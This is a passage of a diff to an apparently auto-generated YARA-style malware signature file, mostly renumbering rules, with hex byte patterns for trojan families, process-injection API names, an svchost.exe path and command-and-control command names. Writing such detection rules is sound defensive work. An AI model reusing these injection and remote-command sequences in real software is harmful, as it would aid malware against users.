01 48 41 49 52 50 49 4e 5f 47 52 4f 55 50 5f 56 34 5f 49 4e 01 00 13 80 01 48 41 49 52 } //18775 + $a_5f_2 = {52 4f 55 50 5f 56 36 5f 49 4e 01 00 0b 80 01 48 41 49 52 50 49 4e 5f 46 57 44 01 00 0b 80 01 48 41 49 52 50 49 4e 5f 52 45 56 01 00 18 80 01 53 4c 42 5f 47 52 4f 55 50 5f 4e 41 54 5f 49 50 76 34 5f 4f 55 54 5f 41 01 00 10 80 01 48 4f } //18768 + $a_43_3 = {45 52 43 45 5f 50 4f 4f 4c 01 00 0f 80 01 52 55 4c 45 5f 41 4c 4c 4f 57 5f 49 4e 5f 58 01 00 20 80 01 56 4e 45 54 5f 50 52 49 56 41 54 45 49 50 5f 49 50 56 36 44 45 53 54 5f 4d 41 50 4e 41 54 5f 41 01 00 1f 80 01 56 4e 45 54 5f 56 46 50 5f 50 52 49 56 41 54 45 49 50 5f 4e 41 54 5f 53 } //21587 + $a_45_4 = {55 4c 01 00 0d 80 01 56 4e 45 54 5f 56 46 50 5f 52 43 5f 42 01 00 14 80 01 56 4e 45 54 5f 56 46 50 5f 4d 41 50 5f 53 50 41 43 45 5f 41 01 00 0d 80 01 56 4e 45 54 5f 56 46 50 5f 52 43 5f 41 01 00 16 80 01 56 46 50 5f 47 52 4f 55 50 5f 54 52 41 4e 53 50 } //16724 + $a_54_5 = {58 01 00 19 80 01 56 46 50 5f 47 52 4f 55 50 5f 50 52 49 56 41 54 45 49 50 5f 4f 55 54 5f 41 01 00 15 80 01 56 46 50 5f 47 52 4f 55 50 5f 54 52 41 4e 53 50 5f 49 4e 5f 41 01 00 20 80 01 56 46 50 5f 52 55 4c 45 5f 54 52 41 4e 53 50 5f 50 52 49 56 41 54 45 } //20319 + $a_4b_6 = {49 4e 5f 41 01 00 21 80 01 56 46 50 5f 52 55 4c 45 5f 54 52 41 4e 53 50 5f 50 52 49 56 41 54 45 4c 49 4e 4b 5f 4f 55 54 5f 41 01 00 29 80 01 56 46 50 5f 44 45 46 41 55 4c 54 5f 54 52 41 4e 53 50 4f 53 49 54 49 4f 4e 5f 4c 41 59 45 52 } //18764 + $a_41_7 = {45 4c 45 53 53 01 00 16 80 01 56 46 50 5f 47 52 4f 55 50 5f 54 52 41 4e 53 50 5f 4f 55 54 5f 41 01 00 1b 80 01 56 46 50 5f 44 45 46 41 55 4c 54 5f 4c 41 59 45 52 5f 53 54 41 54 45 46 55 4c 4c 01 00 15 80 01 56 46 50 5f 47 52 4f 55 50 5f 54 52 41 4e 53 } //21343 + $a_4e_8 = {58 01 00 14 80 01 56 46 50 5f 52 55 4c 45 5f 54 52 41 4e 53 50 5f 49 4e 5f 58 01 00 1b 80 01 52 55 4c 45 5f 41 4c 4c 4f 57 5f 50 52 49 56 41 54 45 4c 49 4e 4b 5f 49 4e 5f 41 01 00 1c 80 01 52 55 4c 45 5f 41 4c 4c 4f 57 } //24400 + $a_49_9 = {41 54 45 4c 49 4e 4b 5f 4f 55 54 5f 41 01 00 1d 80 01 47 52 4f 55 50 5f 41 4c 4c 4f 57 5f 50 52 49 56 41 54 45 4c 49 4e 4b 5f 4f 55 54 5f 41 01 00 10 80 01 47 52 4f 55 50 5f 41 4c 4c 4f 57 5f 49 4e 5f 58 01 00 1c 80 01 47 52 4f 55 50 5f 41 4c 4c } //20575 + $a_50_10 = {49 56 41 54 45 4c 49 4e 4b 5f 49 4e 5f 41 01 00 1a 80 01 53 4c 42 5f 47 52 4f 55 50 5f 44 45 43 41 50 5f 49 50 76 34 5f 4f 55 54 5f 41 00 00 78 9e 03 00 1c 00 1c 00 1c 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 54 69 6e 79 52 75 6e 2e 41 44 21 4d 54 42 00 01 00 16 01 } //22351 + $a_65_11 = {61 74 65 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 01 00 14 01 44 65 6c 65 67 61 74 65 52 65 73 75 6d 65 54 68 72 65 61 64 01 00 12 01 4e 74 47 65 74 43 6f 6e 74 65 78 74 54 68 72 65 61 64 01 00 12 01 4e 74 53 65 74 43 6f 6e 74 65 78 74 54 68 72 65 61 64 01 00 07 01 70 61 79 6c 6f 61 64 01 00 1c 01 44 65 6c 65 67 61 74 65 } //25924 + $a_6e_12 = {61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 01 00 13 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 73 55 73 65 72 01 00 1d 01 47 65 74 44 65 6c 65 67 61 74 65 46 6f 72 46 75 6e 63 74 69 6f 6e 50 6f 69 6e 74 65 72 01 00 1d 01 44 65 6c 65 67 61 74 65 57 6f } //30554 + $a_47_13 = {74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 18 01 44 65 6c 65 67 61 74 65 47 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 1d 01 44 65 6c 65 67 61 } //13943 + $a_6f_14 = {36 34 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 18 01 44 65 6c 65 67 61 74 65 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 16 01 44 65 6c 65 67 61 74 65 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 19 01 44 65 6c 65 67 61 74 65 52 65 61 } //25972 + $a_6f_15 = {65 73 73 4d 65 6d 6f 72 79 01 00 1a 01 44 65 6c 65 67 61 74 65 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 44 01 43 00 3a 00 5c 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 5c 00 53 00 79 00 73 00 57 00 6f 00 77 00 36 00 34 00 5c 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 01 00 10 } //20580 獥䵳浥牯Źᨀ䐁汥来瑡坥楲整牐捯獥䵳浥牯Ź䐀䌁㨀尀尀圀椀渀搀漀眀猀尀尀匀礀猀圀漀眀㘀㐀尀尀猀瘀挀栀漀猀琀⸀攀砀攀Āက + $a_00_17 = {65 00 6c 00 33 00 32 00 01 00 18 01 52 00 65 00 73 00 75 00 6d 00 65 00 54 00 68 00 72 00 65 00 61 00 64 00 01 00 2a 01 57 00 6f 00 77 00 36 00 34 00 53 00 65 00 74 00 54 00 68 00 72 00 65 00 61 00 64 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 01 00 20 01 53 00 65 00 74 00 54 00 68 00 72 00 65 00 61 00 64 00 43 00 6f 00 6e 00 } //114 + $a_00_18 = {78 00 74 00 01 00 2a 01 57 00 6f 00 77 00 36 00 34 00 47 00 65 00 74 00 54 00 68 00 72 00 65 00 61 00 64 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 01 00 20 01 47 00 65 00 74 00 54 00 68 00 72 00 65 00 61 00 64 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 01 00 1c 01 56 00 69 00 72 00 74 00 75 00 61 } //116 + $a_00_20 = {6f 00 63 00 45 00 78 00 01 00 24 01 57 00 72 00 69 00 74 00 65 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 4d 00 65 00 6d 00 6f 00 72 00 79 00 01 00 22 01 52 00 65 00 61 00 64 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 4d 00 65 00 6d 00 6f 00 72 00 79 00 01 00 0a 01 6e 00 74 00 64 00 6c 00 6c 00 01 00 28 01 5a 00 77 00 } //108 + $a_00_21 = {6d 00 61 00 70 00 56 00 69 00 65 00 77 00 4f 00 66 00 53 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 1c 01 43 00 72 00 65 00 61 00 74 00 65 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 41 00 00 00 78 9f 03 00 07 00 07 00 11 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 54 21 4d 54 42 00 01 00 1c 01 } //85 + $a_41_22 = {78 46 61 70 69 63 46 59 69 7a 4e 44 4c 79 56 74 64 6f 50 44 42 66 48 01 00 1e 01 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 01 00 1f 01 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 01 00 23 01 53 79 73 74 65 6d 2e 52 } //29005 + $a_69_23 = {65 2e 43 6f 6e 73 74 72 61 69 6e 65 64 45 78 65 63 75 74 69 6f 6e 05 00 34 01 31 63 64 61 37 36 32 63 38 30 66 34 31 31 35 37 63 34 62 36 64 32 35 66 66 62 34 62 31 36 61 36 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 05 00 34 01 65 36 65 36 32 39 31 63 36 65 63 38 35 63 33 39 39 62 39 37 32 66 30 34 31 65 62 65 61 30 34 38 2e 52 } //28277 + $a_75_24 = {63 65 73 2e 72 65 73 6f 75 72 63 65 73 05 00 34 01 64 33 61 38 63 61 32 63 34 37 30 32 32 64 62 63 38 36 33 33 37 38 65 36 64 34 36 36 31 32 37 33 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 05 00 34 01 32 63 30 62 31 66 62 62 61 37 38 34 34 61 65 30 36 61 33 30 66 35 31 34 66 34 61 65 63 30 62 35 2e 52 65 73 6f 75 } //29541 + $a_73_25 = {72 65 73 6f 75 72 63 65 73 05 00 34 01 64 39 30 33 66 31 34 64 36 61 64 39 65 32 33 30 63 30 37 39 64 35 33 61 66 65 66 62 37 65 31 32 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 05 00 34 01 38 63 38 39 39 33 32 36 36 39 30 64 34 62 66 37 39 37 62 30 66 64 64 30 35 31 65 36 61 61 30 63 } //25458 + $a_73_26 = {75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 05 00 34 01 39 35 63 31 31 30 66 66 30 64 62 30 39 34 37 62 66 65 30 35 62 62 64 31 62 61 39 31 30 62 32 31 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 05 00 34 01 35 66 36 61 65 39 35 32 30 39 36 66 36 62 30 66 64 63 30 36 35 31 33 66 65 33 } //21038 + $a_31_27 = {34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 05 00 34 01 30 33 31 33 64 66 37 61 64 65 33 64 39 39 32 64 31 33 66 37 66 65 31 61 30 39 } //13106 + $a_32_28 = {39 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1c 01 57 50 6c 68 68 68 70 4d 48 49 47 53 68 69 6c 4e 4a 4a 54 74 64 6f 79 68 41 6d 4e 78 05 00 40 01 33 32 35 35 31 45 32 46 36 46 41 31 31 45 45 34 42 39 30 32 31 42 46 34 36 39 34 43 38 37 32 33 31 41 45 42 38 30 31 44 37 44 34 33 46 } //13669 + $a_46_29 = {38 32 41 44 33 39 34 39 46 39 38 39 33 32 05 00 34 01 64 32 65 31 36 34 30 35 62 35 33 61 37 63 63 66 33 64 61 61 66 31 65 30 38 61 37 61 32 32 66 38 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 } //14406 + $a_05_30 = {00 55 01 39 35 63 36 39 33 37 31 62 39 32 34 36 66 65 33 37 63 33 38 39 38 62 37 64 64 32 30 30 62 63 31 2e 39 35 63 36 39 33 37 31 62 39 32 34 36 66 65 33 37 63 33 38 39 38 62 37 64 64 32 30 30 62 63 31 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 a0 03 00 0a 00 0a 00 0b 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 } //25955 + $a_52_31 = {74 68 2f 44 65 72 75 73 62 69 5f 4b 65 72 6e 65 6c 5f 44 72 69 76 65 72 5f 57 44 5f 55 44 46 53 00 05 00 44 03 5c 00 5c 00 2e 00 5c 00 70 00 69 00 70 00 65 00 5c 00 75 00 73 00 62 00 70 00 63 00 65 00 78 00 25 00 64 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 } //28257 + condition: + ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*18775+(#a_5f_2 & 1)*18768+(#a_43_3 & 1)*21587+(#a_45_4 & 1)*16724+(#a_54_5 & 1)*20319+(#a_4b_6 & 1)*18764+(#a_41_7 & 1)*21343+(#a_4e_8 & 1)*24400+(#a_49_9 & 1)*20575+(#a_50_10 & 1)*22351+(#a_65_11 & 1)*25924+(#a_6e_12 & 1)*30554+(#a_47_13 & 1)*13943+(#a_6f_14 & 1)*25972+(#a_6f_15 & 1)*20580+(#a_00_17 & 1)*114+(#a_00_18 & 1)*116+(#a_00_20 & 1)*108+(#a_00_21 & 1)*85+(#a_41_22 & 1)*29005+(#a_69_23 & 1)*28277+(#a_75_24 & 1)*29541+(#a_73_25 & 1)*25458+(#a_73_26 & 1)*21038+(#a_31_27 & 1)*13106+(#a_32_28 & 1)*13669+(#a_46_29 & 1)*14406+(#a_05_30 & 1)*25955+(#a_52_31 & 1)*28257) >=1 + +} +rule _InfrastructureShared_21608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 1c 00 21 " @@ -259630,7 +274996,7 @@ rule _InfrastructureShared_20384{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25697+(#a_47_2 & 1)*19969+(#a_72_3 & 1)*18021+(#a_6c_4 & 1)*17409+(#a_79_5 & 1)*28525+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_9f_17 & 1)*0+(#a_6f_18 & 1)*11877+(#a_35_19 & 1)*12596+(#a_35_20 & 1)*25445+(#a_36_21 & 1)*25442+(#a_31_22 & 1)*26160+(#a_66_23 & 1)*13109+(#a_37_24 & 1)*14640+(#a_66_25 & 1)*25142+(#a_39_26 & 1)*13157+(#a_37_27 & 1)*17204) >=28 } -rule _InfrastructureShared_20385{ +rule _InfrastructureShared_21609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 11 00 21 " @@ -259656,7 +275022,7 @@ rule _InfrastructureShared_20385{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29285+(#a_73_2 & 1)*25458+(#a_73_3 & 1)*21038+(#a_65_4 & 1)*25190+(#a_52_5 & 1)*25392+(#a_30_6 & 1)*14689+(#a_32_7 & 1)*25958+(#a_65_8 & 1)*12385+(#a_33_9 & 1)*16384+(#a_32_10 & 1)*12597+(#a_37_11 & 1)*13109+(#a_64_12 & 1)*14178+(#a_00_13 & 1)*92+(#a_01_14 & 1)*-28672+(#a_00_15 & 1)*101+(#a_09_16 & 1)*6544) >=7 } -rule _InfrastructureShared_20386{ +rule _InfrastructureShared_21610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -259673,7 +275039,7 @@ rule _InfrastructureShared_20386{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*120+(#a_00_4 & 1)*46+(#a_00_5 & 1)*120+(#a_00_7 & 1)*63+(#a_7a_8 & 1)*24841+(#a_2d_9 & 1)*23085+(#a_00_10 & 1)*116) >=10 } -rule _InfrastructureShared_20387{ +rule _InfrastructureShared_21611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -259694,7 +275060,7 @@ rule _InfrastructureShared_20387{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29801+(#a_00_2 & 1)*53+(#a_00_3 & 1)*54+(#a_00_4 & 1)*50+(#a_00_6 & 1)*48+(#a_00_7 & 1)*50+(#a_00_9 & 1)*48+(#a_00_11 & 1)*50+(#a_00_12 & 1)*54+(#a_00_14 & 1)*55+(#a_00_15 & 1)*52) >=16 } -rule _InfrastructureShared_20388{ +rule _InfrastructureShared_21612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0d 00 21 " @@ -259714,7 +275080,7 @@ rule _InfrastructureShared_20388{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_00_2 & 1)*97+(#a_70_3 & 1)*29264+(#a_00_4 & 1)*108+(#a_00_5 & 1)*105+(#a_00_7 & 1)*101+(#a_00_8 & 1)*112+(#a_00_10 & 1)*80+(#a_3a_11 & 1)*12889+(#a_00_12 & 1)*32) >=11 } -rule _InfrastructureShared_20389{ +rule _InfrastructureShared_21613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -259729,7 +275095,7 @@ rule _InfrastructureShared_20389{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*48+(#a_00_3 & 1)*37+(#a_00_4 & 1)*32+(#a_00_6 & 1)*116+(#a_00_7 & 1)*116) >=3 } -rule _InfrastructureShared_20390{ +rule _InfrastructureShared_21614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -259750,7 +275116,7 @@ rule _InfrastructureShared_20390{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26984+(#a_45_2 & 1)*29797+(#a_79_3 & 1)*26988+(#a_7a_4 & 1)*24841+(#a_39_5 & 1)*12378+(#a_6f_6 & 1)*25711+(#a_61_7 & 1)*281+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1) >=1 } -rule _InfrastructureShared_20391{ +rule _InfrastructureShared_21615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -259768,7 +275134,7 @@ rule _InfrastructureShared_20391{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_00_2 & 1)*101+(#a_00_3 & 1)*110+(#a_00_5 & 1)*62+(#a_90_6 & 1)*11617+(#a_00_8 & 1)*101+(#a_67_9 & 1)*11776+(#a_72_10 & 1)*28271) >=8 } -rule _InfrastructureShared_20392{ +rule _InfrastructureShared_21616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 16 00 21 " @@ -259795,7 +275161,7 @@ rule _InfrastructureShared_20392{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_65_3 & 1)*385+(#a_43_4 & 1)*16691+(#a_36_5 & 1)*13109+(#a_31_6 & 1)*14405+(#a_41_7 & 1)*14148+(#a_41_8 & 1)*17715+(#a_35_10 & 1)*17153+(#a_35_11 & 1)*14641+(#a_01_12 & 1)*16689+(#a_38_13 & 1)*13617+(#a_75_14 & 1)*29541+(#a_00_15 & 1)*101+(#a_00_17 & 1)*110+(#a_00_19 & 1)*116+(#a_65_20 & 1)*121+(#a_74_21 & 1)*25940) >=22 } -rule _InfrastructureShared_20393{ +rule _InfrastructureShared_21617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 13 00 21 " @@ -259823,7 +275189,7 @@ rule _InfrastructureShared_20393{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*284+(#a_00_2 & 1)*51+(#a_00_3 & 1)*75+(#a_00_4 & 1)*110+(#a_6c_5 & 1)*11777+(#a_69_6 & 1)*23653+(#a_58_7 & 1)*27140+(#a_6a_8 & 1)*1025+(#a_24_9 & 1)*-14592+(#a_00_10 & 1)*120+(#a_72_11 & 1)*27718+(#a_2f_12 & 1)*14960+(#a_90_13 & 1)*11568+(#a_7a_14 & 1)*24841+(#a_57_15 & 1)*15189+(#a_6b_16 & 1)*25927+(#a_00_17 & 1)*105+(#a_01_18 & 1)*-28672) >=1 } -rule _InfrastructureShared_20394{ +rule _InfrastructureShared_21618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -259843,7 +275209,7 @@ rule _InfrastructureShared_20394{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_5a_3 & 1)*16762+(#a_3a_4 & 1)*28261+(#a_6f_5 & 1)*25445+(#a_00_7 & 1)*67+(#a_68_8 & 1)*23610+(#a_6e_9 & 1)*16896+(#a_00_11 & 1)*114+(#a_25_12 & 1)*14964) >=4 } -rule _InfrastructureShared_20395{ +rule _InfrastructureShared_21619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 1c 00 21 " @@ -259880,7 +275246,7 @@ rule _InfrastructureShared_20395{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_55_2 & 1)*21071+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_b3_26 & 1)*0+(#a_74_27 & 1)*25712) >=10 } -rule _InfrastructureShared_20396{ +rule _InfrastructureShared_21620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0b 00 21 " @@ -259900,7 +275266,7 @@ rule _InfrastructureShared_20396{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*16705+(#a_03_2 & 1)*6+(#a_03_3 & 1)*2+(#a_03_4 & 1)*2+(#a_03_5 & 1)*2+(#a_03_6 & 1)*2+(#a_03_7 & 1)*2+(#a_03_8 & 1)*2+(#a_03_9 & 1)*3+(#a_03_10 & 1)*3) >=6 } -rule _InfrastructureShared_20397{ +rule _InfrastructureShared_21621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0e 00 21 " @@ -259921,7 +275287,7 @@ rule _InfrastructureShared_20397{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24922+(#a_01_2 & 1)*-28615+(#a_2d_3 & 1)*23085+(#a_00_4 & 1)*100+(#a_6f_5 & 1)*23655+(#a_69_6 & 1)*28530+(#a_00_8 & 1)*32+(#a_25_10 & 1)*10496+(#a_73_11 & 1)*15731+(#a_65_12 & 1)*27503+(#a_2f_13 & 1)*14960) >=21 } -rule _InfrastructureShared_20398{ +rule _InfrastructureShared_21622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 21 00 21 " @@ -259961,7 +275327,7 @@ rule _InfrastructureShared_20398{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*28530+(#a_74_2 & 1)*25970+(#a_74_3 & 1)*26426+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_bc_24 & 1)*0+(#a_10_25 & 1)*0+(#a_70_26 & 1)*811+(#a_ce_28 & 1)*3946+(#a_ff_29 & 1)*30463+(#a_00_30 & 1)*864+(#a_f0_32 & 1)*4296) >=6 } -rule _InfrastructureShared_20399{ +rule _InfrastructureShared_21623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0e 00 21 " @@ -259984,7 +275350,7 @@ rule _InfrastructureShared_20399{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*106+(#a_15_2 & 1)*20740+(#a_8b_3 & 1)*27136+(#a_00_4 & 1)*106+(#a_01_5 & 1)*5631+(#a_ff_6 & 1)*1025+(#a_e8_7 & 1)*-29940+(#a_49_8 & 1)*20036+(#a_76_9 & 1)*19578+(#a_52_10 & 1)*7680+(#a_47_11 & 1)*22351+(#a_63_12 & 1)*25445+(#a_4f_13 & 1)*19020) >=2 } -rule _InfrastructureShared_20400{ +rule _InfrastructureShared_21624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 19 00 21 " @@ -260005,42 +275371,20 @@ rule _InfrastructureShared_20400{ $a_01_13 = {45 45 41 48 51 66 49 48 48 62 64 5a 47 6f 54 77 66 53 51 46 68 6f 49 4a 54 49 49 65 50 6c 77 56 6c 6c 4d 41 47 } //1 EEAHQfIHHbdZGoTwfSQFhoIJTIIePlwVllMAG $a_01_14 = {73 6f 48 76 45 67 58 78 73 47 77 46 6b 44 56 4a 4d 6d 48 4d 69 50 43 63 43 79 62 4a 4b 6b 72 6d } //1 soHvEgXxsGwFkDVJMmHMiPCcCybJKkrm $a_01_15 = {47 64 61 4a 4d 62 45 76 6c 4b 71 49 6d 4a 6c 5a 77 75 4c 6d 6b 44 61 6d 6f 7a 44 53 4b 59 6a 68 72 67 48 41 4c 4e 79 4c 68 } //1 GdaJMbEvlKqImJlZwuLmkDamozDSKYjhrgHALNyLh - $a_c4_16 = {00 02 00 02 00 0d 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 61 70 6f 6f 73 68 6b 61 2e 41 21 64 68 61 00 01 00 3c 03 43 6f 6d 6d 61 6e 64 44 65 73 63 72 69 70 74 6f 72 00 63 6f 6d 6d 61 6e 64 90 01 01 65 73 63 72 69 70 74 6f 72 00 45 78 65 63 75 74 6f 72 00 65 78 65 90 01 01 75 74 6f 72 00 90 00 01 00 45 03 43 6f 6d 6d 61 6e 64 46 } //0 - $a_6f_17 = {79 00 63 6f 6d 6d 61 6e 64 90 01 01 61 63 74 6f 72 79 00 42 72 6f 77 73 65 72 54 65 6c 65 6d 65 74 72 79 00 47 65 74 46 72 6f 6d 52 90 01 01 67 69 73 74 72 79 00 90 00 01 00 30 03 73 65 74 5f 43 72 65 61 74 65 4e 6f 90 01 01 69 6e 64 6f 77 00 47 65 74 43 6f 6d 6d 61 6e 64 42 79 00 64 65 6c 61 79 00 41 72 72 61 79 00 90 00 01 00 45 03 49 43 6f 6d } //25441 - $a_64_18 = {67 65 74 5f 43 6f 6d 90 01 01 61 6e 64 00 73 65 74 5f 43 6f 6d 6d 61 6e 64 00 44 6f 77 6e 6c 6f 61 64 43 6f 6d 6d 61 6e 64 00 55 70 6c 6f 61 64 90 01 01 6f 6d 6d 61 6e 64 00 90 00 01 00 44 03 41 64 64 43 6f 6d 6d 61 6e 64 00 45 78 65 43 6f 90 01 01 6d 61 6e 64 00 4b 69 6c 6c 43 6f 6d 6d 61 6e 64 00 43 6c 65 61 72 43 6f 90 01 01 } //24941 - $a_64_19 = {54 69 6d 65 6f 75 74 43 6f 6d 6d 61 6e 64 00 90 00 01 00 43 03 73 65 74 5f 52 65 73 75 6c 74 00 43 6f 6d 6d 61 6e 64 52 65 73 90 01 01 6c 74 00 43 68 65 63 6b 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 00 73 65 74 5f 55 73 90 01 01 72 41 67 65 6e 74 00 90 00 01 00 3a 03 41 62 6f 72 74 00 49 73 43 6f 6d 6d 61 6e 90 01 01 49 } //24941 - $a_73_20 = {00 48 74 74 70 57 65 62 52 65 71 75 65 73 74 00 53 65 6e 64 47 65 90 01 01 52 65 71 75 65 73 74 00 90 00 01 00 46 03 50 61 72 73 65 43 6f 6d 6d 61 6e 64 73 00 45 78 65 63 75 74 65 90 01 01 6f 6e 67 43 6f 6d 6d 61 6e 64 73 00 6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 00 67 65 74 90 01 01 54 6f 74 } //18035 - $a_65_21 = {6f 6e 64 73 00 90 00 01 00 42 03 47 65 74 50 48 50 53 65 73 73 49 64 00 53 74 61 72 74 53 90 01 01 70 61 72 61 74 65 54 68 72 65 61 64 00 6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 54 68 72 65 61 64 00 70 61 79 90 01 01 6f 61 64 00 90 00 01 00 4f 03 47 65 } //27745 - $a_75_22 = {65 72 61 74 6f 72 00 2e 63 74 6f 72 00 53 65 72 76 65 72 49 6e 66 90 01 01 45 78 74 72 61 63 74 6f 72 00 2e 63 63 74 6f 72 00 4d 6f 6e 69 74 6f 72 00 43 6f 6d 6d 61 6e 64 44 65 73 90 01 01 72 69 70 74 6f 72 00 90 00 01 00 34 03 6c 6f 6e 67 43 6f 6d 6d 61 6e 64 73 90 01 01 68 72 65 61 64 00 70 61 79 6c 6f 61 64 00 41 64 64 00 53 } //17780 - $a_72_23 = {78 79 49 66 4e 65 65 64 65 64 00 90 00 01 00 49 03 67 65 74 5f 50 72 6f 78 79 